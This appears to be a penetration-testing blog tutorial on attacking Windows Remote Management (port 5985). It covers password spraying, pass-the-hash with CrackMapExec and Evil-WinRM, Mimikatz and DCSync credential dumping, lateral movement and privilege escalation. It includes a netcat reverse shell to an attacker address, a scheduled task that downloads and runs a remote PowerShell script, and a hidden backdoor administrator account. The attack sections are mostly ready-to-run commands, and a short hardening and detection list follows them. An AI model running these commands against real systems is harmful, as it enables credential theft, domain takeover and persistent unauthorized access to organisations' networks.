networking

Port 5985 WinRM: Evil-WinRM, Pass-the-Hash, and PowerShell Remoting

Port 5985 WinRM: Evil-WinRM, Pass-the-Hash, and PowerShell Remoting

Port 5985 exposes WinRM over HTTP, the Microsoft service used by PowerShell Remoting. Learn about enumeration, access with Evil-WinRM, Pass-the-Hash, lateral movement, and hardening in Active Directory environments.

  • Posted on 2026-03-11
  • Reading time: 5 min

WinRM (Windows Remote Management) is Microsoft's implementation of the WS-Management protocol for remote administration. It listens on TCP port 5985 (HTTP) and port 5986 (HTTPS). In penetration testing of Active Directory environments, WinRM is often the most important port after SMB : it allows remote execution of PowerShell commands, supports Pass-the-Hash for authentication without clear text passwords, and, unlike RDP , is a non-interactive shell that does not disturb the user logged on to the desktop—perfect for stealth operations. Evil-WinRM, the most widely used tool for accessing WinRM, has become a de facto standard in OSCP methodology and red team engagements.

WinRM is enabled by default on Windows Server 2012+ and is often enabled on clients via Group Policy. In a typical Active Directory domain, almost all machines respond to 5985.

How WinRM Works #

text
Attacker                           Target Windows (:5985)
┌──────────────┐                   ┌──────────────────────────┐
│ Evil-WinRM   │                   │ WinRM Service            │
│ CrackMapExec │── HTTP/SOAP ────►│  ├── PowerShell Remoting │
│ PowerShell   │                   │  ├── Esegui comandi      │
│              │ ◄── risultati ──  │  ├── Upload/Download     │
│              │                   │  └── Accesso filesystem   │
└──────────────┘                   └──────────────────────────┘

WinRM uses the SOAP protocol over HTTP (port 5985) or HTTPS (port 5986). Authentication supports: Negotiate (NTLM/ Kerberos ), Basic, Certificate, and CredSSP. In an AD domain, authentication is typically NTLM or Kerberos—and NTLM means Pass-the-Hash works.

Who can connect via WinRM? #

By default, only members of these groups can use WinRM:

  • Administrators (local or domain)
  • Remote Management Users

1. Enumeration #

Nmap #

bash
nmap -sV -p 5985,5986 10.10.10.40
text
PORT     STATE SERVICE VERSION
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0

Check WinRM active #

bash
# Test con curl
curl -s http://10.10.10.40:5985/wsman -I
text
HTTP/1.1 405 Method Not Allowed
Server: Microsoft-HTTPAPI/2.0

405 Method Not Allowed → WinRM is active (it would respond 404 if not installed).

CrackMapExec #

bash
crackmapexec winrm 10.10.10.40
text
WINRM  10.10.10.40  5985  DC-01  [*] http://10.10.10.40:5985/wsman

Confirm WinRM active and reveal hostname (DC-01).

2. Credential Attack #

Password spray with CrackMapExec o NetExec #

bash
# Singolo utente
crackmapexec winrm 10.10.10.40 -u administrator -p 'Corp2025!'
text
WINRM  10.10.10.40  5985  DC-01  [+] CORP\administrator:Corp2025! (Pwn3d!)

(Pwn3d!) → valid credentials And the user has allowed WinRM.

bash
# Password spray su più utenti
crackmapexec winrm 10.10.10.40 -u users.txt -p 'Corp2025!' --continue-on-success
bash
# Con lista di password
crackmapexec winrm 10.10.10.40 -u users.txt -p passwords.txt --no-bruteforce
# --no-bruteforce: testa user1:pass1, user2:pass2 (non tutte le combinazioni)

Pass-the-Hash (without cleartext password) #

If you have an NTLM hash (from Mimikatz , DCSync , SAM dump, or responder ):

bash
crackmapexec winrm 10.10.10.40 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4'
text
WINRM  10.10.10.40  5985  DC-01  [+] CORP\administrator:32ed87bdb5fdc5e9cba88547376818d4 (Pwn3d!)

Pass-the-Hash works on WinRM —there's no need to crack the hash. This is why WinRM is so critical: a single NTLM hash grants access to all machines where that user is admin.

Spray across the entire subnet #

bash
crackmapexec winrm 10.10.10.0/24 -u administrator -H 'HASH' --continue-on-success
text
WINRM  10.10.10.40  5985  DC-01     [+] CORP\administrator (Pwn3d!)
WINRM  10.10.10.41  5985  WEB-01    [+] CORP\administrator (Pwn3d!)
WINRM  10.10.10.42  5985  DB-01     [+] CORP\administrator (Pwn3d!)
WINRM  10.10.10.43  5985  FILE-01   [-] CORP\administrator ACCESS_DENIED

Three machines compromised with a single hash.

3. Evil-WinRM — Interactive Shell #

Evil-WinRM is the standard tool for getting a PowerShell shell via WinRM.

Password connection #

bash
evil-winrm -i 10.10.10.40 -u administrator -p 'Corp2025!'
text
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Hashed connection (Pass-the-Hash) #

bash
evil-winrm -i 10.10.10.40 -u administrator -H '32ed87bdb5fdc5e9cba88547376818d4'

Connecting with Kerberos ticket #

bash
export KRB5CCNAME=/tmp/administrator.ccache
evil-winrm -i DC-01.corp.local -r corp.local

Evil-WinRM Features #

powershell
# Upload file
*Evil-WinRM* PS> upload /opt/tools/mimikatz.exe C:\Windows\Temp\mimikatz.exe

# Download file
*Evil-WinRM* PS> download C:\Users\Administrator\Desktop\flag.txt /tmp/flag.txt

# Carica script PowerShell in memoria (fileless)
*Evil-WinRM* PS> menu
*Evil-WinRM* PS> Invoke-Binary /opt/tools/SharpHound.exe
bash
# Evil-WinRM con directory di script PS1
evil-winrm -i 10.10.10.40 -u admin -p 'pass' -s /opt/ps_scripts/
powershell
# Carica ed esegui script dalla directory
*Evil-WinRM* PS> PowerView.ps1
*Evil-WinRM* PS> Get-DomainUser -Identity admin

4. Post-Exploitation #

Initial enumeration #

powershell
# Chi sono
whoami /all

# Hostname e dominio
hostname
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Domain"

# Utenti locali
net user

# Gruppi di cui faccio parte
net user administrator

# Utenti del dominio
net user /domain

# Domain admins
net group "Domain Admins" /domain

Mimikatz via Evil-WinRM #

powershell
# Upload Mimikatz
*Evil-WinRM* PS> upload /opt/tools/mimikatz.exe C:\Windows\Temp\m.exe

# Esegui
*Evil-WinRM* PS> C:\Windows\Temp\m.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
text
Authentication Id : 0 ; 12345678 (00000000:00bc614e)
Session           : Interactive from 1
User Name         : svc_backup
Domain            : CORP
NTLM              : 8846f7eaee8fb117ad06bdd830b7586c

NTLM hash of svc_backup → test on all machines via WinRM.

For the complete guide: Mimikatz and DCSync.

SAM dump (local credentials) #

powershell
# Salva i registry hive
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system

# Download
*Evil-WinRM* PS> download C:\Windows\Temp\sam /tmp/sam
*Evil-WinRM* PS> download C:\Windows\Temp\system /tmp/system
bash
# Estrai hash con secretsdump (da Kali)
impacket-secretsdump -sam sam -system system LOCAL
text
Administrator:500:aad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc_backup:1001:aad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

DCSync (if you are Domain Admin) #

powershell
# Da Evil-WinRM con Mimikatz
C:\Windows\Temp\m.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" "exit"

With the hash of krbtgt → Golden Ticket → permanent access to the domain.

BloodHound collection #

powershell
# SharpHound (collector)
*Evil-WinRM* PS> upload /opt/tools/SharpHound.exe C:\Windows\Temp\sh.exe
*Evil-WinRM* PS> C:\Windows\Temp\sh.exe -c all --zipfilename data.zip
*Evil-WinRM* PS> download C:\Windows\Temp\*_data.zip /tmp/

Import into BloodHound → view escalation paths to Domain Admin.

5. Lateral Movement via WinRM #

From machine to machine #

bash
# Dalla tua Kali → ogni macchina dove l'utente è admin
evil-winrm -i 10.10.10.41 -u svc_backup -H '8846f7eaee8fb117ad06bdd830b7586c'

From the Evil-WinRM session to another machine #

powershell
# PowerShell remoting nativo (da dentro la sessione)
$sess = New-PSSession -ComputerName WEB-01 -Credential (Get-Credential)
Invoke-Command -Session $sess -ScriptBlock { whoami; hostname }

WinRM chain: Kali → DC → Internal Server #

bash
# Se il server interno non è raggiungibile direttamente
# Usa il DC come pivot
evil-winrm -i DC-01 ...
powershell
# Dal DC, connettiti al server interno
Enter-PSSession -ComputerName DB-INTERNAL-01 -Credential $cred

Massive command execution #

bash
# CrackMapExec per eseguire un comando su TUTTE le macchine
crackmapexec winrm 10.10.10.0/24 -u admin -H HASH -x "whoami"
crackmapexec winrm 10.10.10.0/24 -u admin -H HASH -X "Get-Process" # PowerShell

6. Privilege Escalation #

From WinRM user to Administrator/SYSTEM #

If you have WinRM access as a normal user (member of Remote Management Users but not admin):

powershell
# Verifica privilegi
whoami /priv

# Cerca privilege escalation
*Evil-WinRM* PS> upload /opt/tools/winPEAS.exe C:\Windows\Temp\wp.exe
*Evil-WinRM* PS> C:\Windows\Temp\wp.exe

Exploitable common privilege tokens #

powershell
# SeImpersonatePrivilege → Potato attacks
whoami /priv | findstr "SeImpersonate"

If present SeImpersonatePrivilege (common for service accounts):

powershell
# Upload e esegui JuicyPotatoNG / GodPotato / PrintSpoofer
*Evil-WinRM* PS> upload /opt/tools/GodPotato.exe C:\Windows\Temp\gp.exe
*Evil-WinRM* PS> C:\Windows\Temp\gp.exe -cmd "cmd /c whoami"
# NT AUTHORITY\SYSTEM
powershell
# PrintSpoofer (più semplice, Windows 10/Server 2019)
*Evil-WinRM* PS> upload /opt/tools/PrintSpoofer64.exe C:\Windows\Temp\ps.exe
*Evil-WinRM* PS> C:\Windows\Temp\ps.exe -c "C:\Windows\Temp\nc.exe 10.10.10.200 4444 -e cmd"

SeBackupPrivilege → Dump SAM/NTDS #

powershell
# Se hai SeBackupPrivilege (es: utente svc_backup)
# Puoi leggere qualsiasi file del sistema

# Dump NTDS.dit (database Active Directory)
*Evil-WinRM* PS> mkdir C:\Windows\Temp\backup
*Evil-WinRM* PS> reg save HKLM\SYSTEM C:\Windows\Temp\backup\system
*Evil-WinRM* PS> upload /opt/tools/DiskShadow_script.txt

# DiskShadow per copiare NTDS.dit

7. Persistence #

Create backdoor user with WinRM access #

powershell
# Crea utente nascosto ($ nel nome lo nasconde da "net user")
net user backdoor$ B4ckD00r_2025! /add
net localgroup "Remote Management Users" backdoor$ /add
net localgroup "Administrators" backdoor$ /add

Scheduled Task for reverse shell #

powershell
schtasks /create /tn "WindowsUpdate" /tr "powershell -ep bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.200/rev.ps1')" /sc hourly /ru SYSTEM

8. Detection & Hardening #

  • Disable WinRM where not needed Disable-PSRemoting -Force
  • Use HTTPS only (5986) — not clear HTTP on 5985
  • Restrict groups — only strictly necessary users Remote Management Users
  • JEA (Just Enough Administration) — limits PowerShell commands available via WinRM
  • Firewall — port 5985/5986 from admin jump host only
  • Monitor Event ID 4624 (Type 3 and 10) for WinRM login, Event ID 4688 for created processes
  • Credential Guard — prevents hash extraction from LSASS
  • LAPS — unique local passwords for each machine
  • PowerShell Audit — enable Script Block Logging and Transcription

Event ID key #

Event IDLogMeaning
4624 (Type 3)SecurityWinRM login successful
4625SecurityLogin failed (brute force)
91Microsoft-Windows-WinRMWinRM session created
4688SecurityProcess created (commands executed)
4104PowerShellScript Block Logging (command content)

9. Final Cheat Sheet #

ActionCommand
Nmapnmap -sV -p 5985,5986 target
CME checkcrackmapexec winrm target
CME passwordcrackmapexec winrm target -u user -p pass
CME PtHcrackmapexec winrm target -u user -H hash
CME spraycrackmapexec winrm subnet -u users.txt -p 'Pass!' --continue-on-success
Evil-WinRM pwdevil-winrm -i target -u user -p pass
Evil-WinRM hashevil-winrm -i target -u user -H hash
Uploadupload local_file remote_path (in Evil-WinRM)
Downloaddownload remote_path local_path
Mimikatzupload mimikatz.exe → execute
SAM dumpreg save HKLM\SAM + reg save HKLM\SYSTEM
DCSyncmimikatz "lsadump::dcsync /domain:X /user:krbtgt"
Massive Execcrackmapexec winrm subnet -u user -H hash -x "command"

Reference: Microsoft WinRM documentation, Evil-WinRM, HackTricks WinRM, OSCP methodology. For use in authorized environments only. https://www.pentestpad.com/port-exploit/port-59855986-winrm-windows-remote-management

hackita.it/supporto — hackita.it/servizi.

#evil-winrm #pass-the-hash

leave a message

I'm not a robot